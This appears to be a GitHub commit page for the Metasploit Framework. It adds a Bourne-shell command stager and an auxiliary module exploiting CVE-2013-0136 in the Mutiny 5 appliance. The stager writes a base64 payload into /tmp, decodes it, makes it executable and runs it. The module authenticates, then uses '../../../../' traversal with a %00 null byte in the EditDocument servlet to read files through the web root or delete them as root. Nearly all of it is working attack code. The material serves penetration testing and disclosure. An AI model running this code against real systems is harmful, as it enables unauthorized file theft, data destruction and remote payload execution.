Skip to content

Commit 3d6f040

Browse files
committed
Merge branch 'master' into bug/mdm-web-vuln-params-export
Conflicts: Gemfile Gemfile.lock
2 parents 5527f03 + 90f987d commit 3d6f040

File tree

8 files changed

+728
-27
lines changed

8 files changed

+728
-27
lines changed
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core/exploit/cmdstager'
4+
5+
module Msf
6+
7+
###
8+
#
9+
# This mixin provides an interface for staging cmd to arbitrary payloads
10+
#
11+
###
12+
module Exploit::CmdStagerBourne
13+
14+
include Msf::Exploit::CmdStager
15+
16+
def create_stager(exe)
17+
Rex::Exploitation::CmdStagerBourne.new(exe)
18+
end
19+
end
20+
21+
end

lib/msf/core/exploit/mixins.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,7 @@
2424
require 'msf/core/exploit/cmdstager_debug_write'
2525
require 'msf/core/exploit/cmdstager_debug_asm'
2626
require 'msf/core/exploit/cmdstager_tftp'
27+
require 'msf/core/exploit/cmdstager_bourne'
2728

2829
# Protocol
2930
require 'msf/core/exploit/tcp'

lib/rex/exploitation/cmdstager.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,8 @@
11
# -*- coding: binary -*-
2-
# $Id$
32

43
require 'rex/exploitation/cmdstager/base'
54
require 'rex/exploitation/cmdstager/vbs'
65
require 'rex/exploitation/cmdstager/debug_write'
76
require 'rex/exploitation/cmdstager/debug_asm'
87
require 'rex/exploitation/cmdstager/tftp'
8+
require 'rex/exploitation/cmdstager/bourne'
Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
# -*- coding: binary -*-
2+
3+
require 'rex/text'
4+
require 'rex/arch'
5+
require 'msf/core/framework'
6+
7+
module Rex
8+
module Exploitation
9+
10+
class CmdStagerBourne < CmdStagerBase
11+
12+
def initialize(exe)
13+
super
14+
15+
@var_encoded = Rex::Text.rand_text_alpha(5)
16+
@var_decoded = Rex::Text.rand_text_alpha(5)
17+
end
18+
19+
def generate(opts = {})
20+
opts[:temp] = opts[:temp] || '/tmp/'
21+
opts[:temp] = opts[:temp].gsub(/'/, "\\\\'")
22+
opts[:temp] = opts[:temp].gsub(/ /, "\\ ")
23+
super
24+
end
25+
26+
#
27+
# Override just to set the extra byte count
28+
#
29+
def generate_cmds(opts)
30+
# Set the start/end of the commands here (vs initialize) so we have @tempdir
31+
@cmd_start = "echo -n "
32+
@cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
33+
xtra_len = @cmd_start.length + @cmd_end.length + 1
34+
opts.merge!({ :extra => xtra_len })
35+
super
36+
end
37+
38+
39+
#
40+
# Simple base64...
41+
#
42+
def encode_payload(opts)
43+
Rex::Text.encode_base64(@exe)
44+
end
45+
46+
47+
#
48+
# Combine the parts of the encoded file with the stuff that goes
49+
# before / after it.
50+
#
51+
def parts_to_commands(parts, opts)
52+
53+
cmds = []
54+
parts.each do |p|
55+
cmd = ''
56+
cmd << @cmd_start
57+
cmd << p
58+
cmd << @cmd_end
59+
cmds << cmd
60+
end
61+
62+
cmds
63+
end
64+
65+
#
66+
# Generate the commands that will decode the file we just created
67+
#
68+
def generate_cmds_decoder(opts)
69+
decoders = [
70+
"base64 --decode -",
71+
"openssl enc -d -A -base64 -in /dev/stdin",
72+
"python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());'",
73+
"perl -MMIME::Base64 -ne 'print decode_base64($_)'"
74+
]
75+
decoder_cmd = []
76+
decoders.each do |cmd|
77+
binary = cmd.split(' ')[0]
78+
decoder_cmd << "(which #{binary} >&2 && #{cmd})"
79+
end
80+
decoder_cmd = decoder_cmd.join(" || ")
81+
decoder_cmd = "(" << decoder_cmd << ") 2> /dev/null > #{@tempdir}#{@var_decoded}.bin < #{@tempdir}#{@var_encoded}.b64"
82+
[ decoder_cmd ]
83+
end
84+
85+
def compress_commands(cmds, opts)
86+
# Make it all happen
87+
cmds << "chmod +x #{@tempdir}#{@var_decoded}.bin"
88+
cmds << "#{@tempdir}#{@var_decoded}.bin"
89+
90+
# Clean up after unless requested not to..
91+
if (not opts[:nodelete])
92+
cmds << "rm -f #{@tempdir}#{@var_decoded}.bin"
93+
cmds << "rm -f #{@tempdir}#{@var_encoded}.b64"
94+
end
95+
96+
super
97+
end
98+
99+
def cmd_concat_operator
100+
" ; "
101+
end
102+
103+
end
104+
end
105+
end
Lines changed: 180 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,180 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Mutiny 5 Arbitrary File Read and Delete',
17+
'Description' => %q{
18+
This module exploits the EditDocument servlet from the frontend on the Mutiny 5
19+
appliance. The EditDocument servlet provides file operations, such as copy and
20+
delete, which are affected by a directory traversal vulnerability. Because of this,
21+
any authenticated frontend user can read and delete arbitrary files from the system
22+
with root privileges. In order to exploit the vulnerability a valid user (any role)
23+
in the web frontend is required. The module has been tested successfully on the
24+
Mutiny 5.0-1.07 appliance.
25+
},
26+
'Author' =>
27+
[
28+
'juan vazquez' # Metasploit module and initial discovery
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
[ 'CVE', '2013-0136' ],
34+
[ 'US-CERT-VU', '701572' ],
35+
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/05/15/new-1day-exploits-mutiny-vulnerabilities' ]
36+
],
37+
'Actions' =>
38+
[
39+
['Read'],
40+
['Delete']
41+
],
42+
'DefaultAction' => 'Read',
43+
'DisclosureDate' => 'May 15 2013'))
44+
45+
register_options(
46+
[
47+
Opt::RPORT(80),
48+
OptString.new('TARGETURI',[true, 'Path to Mutiny Web Service', '/']),
49+
OptString.new('USERNAME', [ true, 'The user to authenticate as', '[email protected]' ]),
50+
OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ]),
51+
OptString.new('PATH', [ true, 'The file to read or delete' ]),
52+
], self.class)
53+
end
54+
55+
def run
56+
@peer = "#{rhost}:#{rport}"
57+
58+
print_status("#{@peer} - Trying to login")
59+
if login
60+
print_good("#{@peer} - Login successful")
61+
else
62+
print_error("#{@peer} - Login failed, review USERNAME and PASSWORD options")
63+
return
64+
end
65+
66+
case action.name
67+
when 'Read'
68+
read_file(datastore['PATH'])
69+
when 'Delete'
70+
delete_file(datastore['PATH'])
71+
end
72+
end
73+
74+
def read_file(file)
75+
76+
print_status("#{@peer} - Copying file to Web location...")
77+
78+
dst_path = "/usr/jakarta/tomcat/webapps/ROOT/m/"
79+
res = send_request_cgi(
80+
{
81+
'uri' => normalize_uri(target_uri.path, "interface", "EditDocument"),
82+
'method' => 'POST',
83+
'cookie' => "JSESSIONID=#{@session}",
84+
'encode_params' => false,
85+
'vars_post' => {
86+
'operation' => 'COPY',
87+
'paths[]' => "../../../../#{file}%00.txt",
88+
'newPath' => "../../../..#{dst_path}"
89+
}
90+
})
91+
92+
if res and res.code == 200 and res.body =~ /\{"success":true\}/
93+
print_good("#{@peer} - File #{file} copied to #{dst_path} successfully")
94+
else
95+
print_error("#{@peer} - Failed to copy #{file} to #{dst_path}")
96+
end
97+
98+
print_status("#{@peer} - Retrieving file contents...")
99+
100+
res = send_request_cgi(
101+
{
102+
'uri' => normalize_uri(target_uri.path, "m", ::File.basename(file)),
103+
'method' => 'GET'
104+
})
105+
106+
if res and res.code == 200
107+
store_path = store_loot("mutiny.frontend.data", "application/octet-stream", rhost, res.body, file)
108+
print_good("#{@peer} - File successfully retrieved and saved on #{store_path}")
109+
else
110+
print_error("#{@peer} - Failed to retrieve file")
111+
end
112+
113+
# Cleanup
114+
delete_file("#{dst_path}#{::File.basename(file)}")
115+
end
116+
117+
def delete_file(file)
118+
print_status("#{@peer} - Deleting file #{file}")
119+
120+
res = send_request_cgi(
121+
{
122+
'uri' => normalize_uri(target_uri.path, "interface", "EditDocument"),
123+
'method' => 'POST',
124+
'cookie' => "JSESSIONID=#{@session}",
125+
'vars_post' => {
126+
'operation' => 'DELETE',
127+
'paths[]' => "../../../../#{file}"
128+
}
129+
})
130+
131+
if res and res.code == 200 and res.body =~ /\{"success":true\}/
132+
print_good("#{@peer} - File #{file} deleted")
133+
else
134+
print_error("#{@peer} - Error deleting file #{file}")
135+
end
136+
end
137+
138+
def login
139+
140+
res = send_request_cgi(
141+
{
142+
'uri' => normalize_uri(target_uri.path, "interface", "index.do"),
143+
'method' => 'GET'
144+
})
145+
146+
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
147+
first_session = $1
148+
end
149+
150+
res = send_request_cgi(
151+
{
152+
'uri' => normalize_uri(target_uri.path, "interface", "j_security_check"),
153+
'method' => 'POST',
154+
'cookie' => "JSESSIONID=#{first_session}",
155+
'vars_post' => {
156+
'j_username' => datastore['USERNAME'],
157+
'j_password' => datastore['PASSWORD']
158+
}
159+
})
160+
161+
if not res or res.code != 302 or res.headers['Location'] !~ /interface\/index.do/
162+
return false
163+
end
164+
165+
res = send_request_cgi(
166+
{
167+
'uri' => normalize_uri(target_uri.path, "interface", "index.do"),
168+
'method' => 'GET',
169+
'cookie' => "JSESSIONID=#{first_session}"
170+
})
171+
172+
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
173+
@session = $1
174+
return true
175+
end
176+
177+
return false
178+
end
179+
180+
end

0 commit comments

Comments
 (0)